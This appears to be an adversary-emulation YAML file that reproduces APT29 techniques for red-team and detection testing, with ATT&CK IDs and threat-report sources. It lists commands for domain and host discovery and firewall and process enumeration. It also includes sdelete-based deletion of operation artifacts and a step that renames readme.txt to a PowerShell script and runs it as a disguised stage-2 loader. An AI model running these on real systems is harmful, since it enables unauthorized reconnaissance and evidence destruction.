cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "4.A.2"
platforms:
windows:
psh,pwsh:
command: |
cmd.exe /c net group "Domain Controllers" /domain
executors:
- name: powershell
command: |
cmd.exe /c net group "Domain Controllers" /domain
- id: 24ed020e-4730-4000-b6b4-6b5d3e95314f
name: Remote System Discovery
description: The net utility is executed via cmd to enumerate hosts within the domain.
tactic: discovery
technique:
attack_id: T1018
name: "Remote System Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "4.A.3"
platforms:
windows:
psh,pwsh:
command: |
cmd.exe /c net group "Domain Computers" /domain
executors:
- name: powershell
command: |
cmd.exe /c net group "Domain Computers" /domain
- id: 5f4263c4-7ff1-4098-b5f5-f41faa31cf5b
name: System Network Configuration Discovery
description: The netsh utility is executed via cmd to enumerate local firewall configuration information.
tactic: discovery
technique:
attack_id: T1016
name: "System Network Configuration Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "4.B.1"
platforms:
windows:
cmd:
command: |
netsh advfirewall show allprofiles
executors:
- name: command_prompt
command: |
netsh advfirewall show allprofiles
- id: 646be6c9-f27a-4f5f-be5d-b8a0317e215f
name: Process Discovery
description: List running process on the machine via PowerShell.
tactic: discovery
technique:
attack_id: T1057
name: "Process Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "4.B.2"
platforms:
windows:
psh,pwsh:
command: |
$ps = get-process;
write-output $ps;
executors:
- name: powershell
command: |
$ps = get-process;
write-output $ps;
- id: 9b5b5aec-32ff-4d74-8555-727b50ab15f6
name: Artifact Cleanup - Delete Files
description: Cleanup files related to Operation
tactic: defensive-evasion
technique:
attack_id: T1070.004
name: "Indicator Removal on Host: File Deletion"
cti_source: "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"
procedure_group: procedure_def_evasion
procedure_step: "4.B.3"
platforms:
windows:
psh,pwsh:
command: |
if (! $(test-path -path "C:\Program Files\SysInternalsSuite";)) {
write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.";
exit 1;
}
Set-Location -path "C:\Program Files\SysInternalsSuite";
gci $env:userprofile\Desktop;
.\sdelete64.exe /accepteula "$env:USERPROFILE\Desktop\cod.3aka3.scr";
.\sdelete64.exe /accepteula "$env:APPDATA\Draft.Zip";
.\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysInternalsSuite.zip";
executors:
- name: powershell
command: |
if (! $(test-path -path "C:\Program Files\SysInternalsSuite";)) {
write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.";
exit 1;
}
Set-Location -path "C:\Program Files\SysInternalsSuite";
gci $env:userprofile\Desktop;
.\sdelete64.exe /accepteula "$env:USERPROFILE\Desktop\cod.3aka3.scr";
.\sdelete64.exe /accepteula "$env:APPDATA\Draft.Zip";
.\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysInternalsSuite.zip";
- id: 6f1f4768-7099-45d2-a858-b49dc792234e
name: Loading Stage-2 & Performing Discovery
description: Load Stage-2 from Modified Sysinternals Toolset
tactic: discovery
technique:
attack_id: T1082
name: "System Information Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "4.C.1"
platforms:
windows:
psh,pwsh:
command: |
if (! $(test-path -path "C:\Program Files\SysInternalsSuite")) {
write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.";
exit 1;
}
Set-Location -path "C:\Program Files\SysInternalsSuite";
if (!(test-path ".\readme.ps1")) {
Move-Item .\readme.txt readme.ps1 -Force;
}
. .\readme.ps1;
Invoke-Discovery;
executors:
- name: powershell
command: |
if (! $(test-path -path "C:\Program Files\SysInternalsSuite")) {
write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.";
exit 1;
}
Set-Location -path "C:\Program Files\SysInternalsSuite";
if (!(test-path ".\readme.ps1")) {
Move-Item .\readme.txt readme.ps1 -Force;
}
. .\readme.ps1;
Invoke-Discovery;
- id: ba0b398d-91b8-490a-bed2-f959afa8e1aa
name: 4.C.2 - System Network Connections Discovery (T1049)
description: The netstat utility is executed via cmd to enumerate local active network connections.
tactic: discovery
technique:
attack_id: T1049
name: "System Network Connections Discovery"
cti_source: "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf"
procedure_group: procedure_discovery
procedure_step: "4.C.2"
platforms:
windows:
cmd:
command: |
netstat -ano
executors:
- name: command_prompt
command: |
netstat -ano